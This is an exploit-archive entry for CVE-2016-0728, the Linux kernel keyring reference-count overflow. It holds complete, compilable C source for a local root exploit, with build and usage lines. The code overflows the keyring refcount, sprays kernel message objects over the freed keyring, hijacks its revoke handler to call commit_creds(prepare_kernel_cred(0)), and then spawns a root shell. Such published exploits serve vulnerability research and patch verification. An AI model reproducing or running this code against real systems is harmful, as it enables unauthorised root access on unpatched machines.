# Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
# Date: 19/1/2016
# Exploit Author: Perception Point Team
# CVE : CVE-2016-0728

/* CVE-2016-0728 local root exploit
    modified by Federico Bento to read kernel symbols from /proc/kallsyms
    props to grsecurity/PaX for preventing this in so many ways

    $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
    $ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*  
_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff810bb050)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370)



struct key_type {
	char * name;
     	size_t datalen;
     	void * vet_description;
     	void * preparse;
     	void * free_preparse;
     	void * instantiate;
     	void * update;
     	void * match_preparse;
     	void * match_free;
     	void * revoke;
     	void * destroy;
};

/* thanks spender - Federico Bento */
static unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[256];
	int ret;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		fprintf(stdout, "Unable to obtain symbol listing!\n");
		exit(0);
	}

	ret = 0;
	while(ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	return 0;
}

void userspace_revoke(void * key) {
     	commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
         unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
         struct key_type * my_key_type = NULL;

         struct {
		long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

     	printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
	commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
     	prepare_kernel_cred =  
(_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
	if(commit_creds == NULL || prepare_kernel_cred == NULL) {
		commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
                 prepare_kernel_cred =  
(_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
                 if(commit_creds == (_commit_creds)0xffffffff810bb050  
|| prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
                 	puts("[-] You probably need to change the address of  
commit_creds and prepare_kernel_cred in source");
	}

     	my_key_type = malloc(sizeof(*my_key_type));

     	my_key_type->revoke = (void*)userspace_revoke;
     	memset(msg.mtext, 'A', sizeof(msg.mtext));

     	// key->uid
     	*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
     	//key->perm
     	*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

     	//key->type
     	*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

     	if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        		perror("msgget");
         	exit(1);
     	}

     	keyring_name = argv[1];

	/* Set the new session keyring before we start */

	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
	if (serial < 0) {
		perror("keyctl");
		return -1;
     	}

	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |  
KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
		perror("keyctl");
		return -1;
	}


	puts("[+] Increfing...");
     	for (i = 1; i < 0xfffffffd; i++) {
         	if (i == (0xffffffff - l)) {
            		l = l/2;
             		sleep(5);
         	}
         	if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
             		perror("[-] keyctl");
             		return -1;
         	}
     	}
     	sleep(5);
     	/* here we are going to leak the last references to overflow */
     	for (i=0; i<5; ++i) {
         	if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
             		perror("[-] keyctl");
             		return -1;
         	}
     	}

     	puts("[+] Finished increfing");
     	puts("[+] Forking...");
     	/* allocate msg struct in the kernel rewriting the freed keyring  
object */
     	for (i=0; i<64; i++) {
         	pid = fork();
         	if (pid == -1) {
             		perror("[-] fork");
             		return -1;
         	}

         	if (pid == 0) {
             		sleep(2);
             		if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                 		perror("[-] msgget");
                 		exit(1);
             		}
             		for (i = 0; i < 64; i++) {
                 		if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                     			perror("[-] msgsnd");
                     			exit(1);
                 		}
             		}
             		sleep(-1);
             		exit(1);
         	}
     	}

     	puts("[+] Finished forking");
     	sleep(5);

     	/* call userspace_revoke from kernel */
     	puts("[+] Caling revoke...");
     	if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
         	perror("[+] keyctl_revoke");
     	}

     	printf("uid=%d, euid=%d\n", getuid(), geteuid());
     	execl("/bin/sh", "/bin/sh", NULL);

     	return 0;
}
